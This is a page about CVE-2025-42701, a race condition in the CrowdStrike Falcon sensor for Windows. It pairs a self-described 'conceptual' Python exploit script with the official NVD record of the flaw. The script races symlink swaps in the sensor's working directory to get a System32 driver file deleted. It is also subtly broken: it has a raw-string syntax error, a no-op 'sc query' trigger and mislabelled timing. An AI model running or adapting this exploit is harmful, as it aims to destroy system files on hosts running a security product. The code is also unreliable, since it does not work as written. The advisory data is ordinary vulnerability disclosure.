CVE-2025-42701

# CVE-2025-42701 - CrowdStrike Falcon Sensor Windows Race Condition PoC # Vulnerability: Arbitrary file deletion via race condition # Author: Security Research (Conceptual PoC) # Note: This is a conceptual proof-of-concept for educational purposes only. import os import sys import threading import time import tempfile TARGET_DIR = r"C:\ProgramData\CrowdStrike\CSAgent\" # Falcon sensor working directory VICTIM_FILE = r"C:\Windows\System32\drivers\important.sys" # Arbitrary target file def create_symlink_loop(): """Continuously create/replace symlinks to redirect file operations.""" while not stop_event.is_set(): try: # Create a temp directory with a symlink pointing to victim file tmpdir = tempfile.mkdtemp(dir=TARGET_DIR) target_link = os.path.join(tmpdir, "sensor_temp_file.tmp") # Rapidly toggle between legitimate and malicious symlink if os.path.exists(target_link) or os.path.islink(target_link): os.remove(target_link) os.symlink(VICTIM_FILE, target_link) time.sleep(0.001) # Microsecond-level timing except (OSError, PermissionError): pass def trigger_sensor_operation(): """Trigger the Falcon sensor to perform file operations on the target dir.""" # Interact with Falcon sensor to trigger its file cleanup/rotation logic # This could be done by causing sensor events, log rotations, etc. while not stop_event.is_set(): try: # Trigger sensor activity (e.g., via WMI events, service restarts) os.system('sc query CSAgent >nul 2>&1') time.sleep(0.0005) except Exception: pass stop_event = threading.Event() if __name__ == "__main__": print("[*] CVE-2025-42701 PoC - Race Condition in Falcon Sensor") print("[*] Requires local code execution and low-privilege access") threads = [] for i in range(4): t1 = threading.Thread(target=create_symlink_loop) t2 = threading.Thread(target=trigger_sensor_operation) threads.extend([t1, t2]) t1.start() t2.start() time.sleep(10) # Run for 10 seconds stop_event.set() for t in threads: t.join() print("[*] PoC completed. Check if target file was deleted.")

{"cve": {"id": "CVE-2025-42701", "sourceIdentifier": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "published": "2025-10-08T18:15:34.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition exists in the Falcon sensor for Windows that could allow an attacker, with the prior ability to execute code on a host, to delete arbitrary files. CrowdStrike released a security fix for this issue in Falcon sensor for Windows versions 7.24 and above and all Long Term Visibility (LTV) sensors.\n\n\nThere is no indication of exploitation of these issues in the wild. Our threat hunting and intelligence team are actively monitoring for exploitation and we maintain visibility into any such attempts. \n\n\nThe Falcon sensor for Mac, the Falcon sensor for Linux and the Falcon sensor for Legacy Systems are not impacted by this.\n\nCrowdStrike was made aware of this issue through our HackerOne bug bounty program. It was discovered by Cong Cheng and responsibly disclosed."}], "metrics": {"cvssMetricV31": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://www.crowdstrike.com/en-us/security-advisories/issues-affecting-crowdstrike-falcon-sensor-for-windows/", "source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661"}]}}